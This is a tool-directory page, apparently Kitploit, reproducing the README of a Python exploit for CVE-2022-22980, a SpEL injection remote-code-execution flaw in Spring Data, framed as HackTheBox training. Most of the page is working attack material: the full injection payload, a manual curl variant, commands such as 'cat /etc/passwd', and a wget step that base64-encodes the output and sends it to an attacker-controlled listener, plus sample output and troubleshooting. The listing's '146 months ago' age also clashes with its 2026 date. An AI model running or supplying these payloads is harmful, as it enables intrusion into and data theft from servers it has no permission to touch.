Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22980 — CVE-2022-22980 の悪用 | Kitploit
ツール/GitHubGitHub/eliasdekiniweek/cve-2022-22980
ペイロード生成エクスプロイトウェブアプリケーション悪用CTFコマンド&コントロール学習と教育
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

CVE-2022-22980 の悪用

リポジトリを見る
146ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SpEL RCE Exploit - CVE-2022-22980

Spring Data に対する SpEL(Spring Expression Language)インジェクションを利用したリモートコード実行(RCE)エクスプロイト。

説明

脆弱性

このボックスは、SpEL インジェクションに対して脆弱なパラメータ tracking_id を受け付けるエンドポイント /search を公開しています。このインジェクションにより、サーバー上で悪意のある Java 式を直接実行できます。

エクスプロイトの原理

  1. Runtime.getRuntime().exec() を介してシェルコマンドを実行する SpEL 式を注入します
  2. コマンドの出力を base64 でエンコードします
  3. 制御下のリスナーへの HTTP GET リクエストを介して結果を外部に送信します
  4. 結果をデコードして表示します

使用方法

前提条件

  • Python 3.x(標準モジュール http.server、subprocess、threading、base64 を使用)
  • ローカルマシン上の curl
  • ターゲットマシン上の wget(結果の外部送信用)
  • 利用可能なポート 80(またはスクリプト内の LPORT を変更)
  • ターゲットへのネットワークアクセス

設定

お使いの環境に合わせてスクリプト内のパラメータを変更します:

root@kitploit:~
TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

実行

root@kitploit:~
# Commande simple
python3 spel_shell.py "whoami"

# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"

# Énumération système
python3 spel_shell.py "uname -a"

# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"

出力例

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

手動ペイロード(参考)

スクリプトを使わずにペイロードをテストしたい場合:

root@kitploit:~
# Terminal 1 : Démarrer le listener
python3 -m http.server 80

# Terminal 2 : Envoyer la payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

トラブルシューティング

エラー:"Address already in use"

ポート 80 が使用中です。解決策:

root@kitploit:~
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80

# Arrêter Apache si actif
sudo systemctl stop apache2

# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez

応答なし("No response received")

  1. ネットワーク接続を確認します:ターゲットがあなたの LHOST:LPORT に到達できることを確認してください
  2. 簡単なコマンドでテストします:python3 spel_shell.py "echo test"
  3. ポートの権限を確認します:Linux ではポート 80 に sudo が必要です
  4. LHOST の IP を確認します:ifconfig(HTB では tun0)を使用し、127.0.0.1 ではなく

base64 デコードエラー

「Command output」の代わりに「Raw data received」が表示される場合、コマンドが有効な出力を生成しなかった可能性があります。常に出力を生成するコマンドをテストしてください。

スクリプトのアーキテクチャ

root@kitploit:~
1. start_server() - Lance un serveur HTTP sur le port 80
                   ↓
2. Envoie la payload SpEL via curl vers la cible
                   ↓
3. La cible exécute la commande et encode le résultat en base64
                   ↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Le Handler reçoit la data et la stocke
                   ↓
6. Le script décode et affiche le résultat

警告

このスクリプトは、HackTheBox のボックス向けの教育目的で提供されています。テストする許可を得た環境でのみ使用してください。


著者:Eliasdekiniweek 日付:2026年2月
言語:Python 3

ツールをダウンロード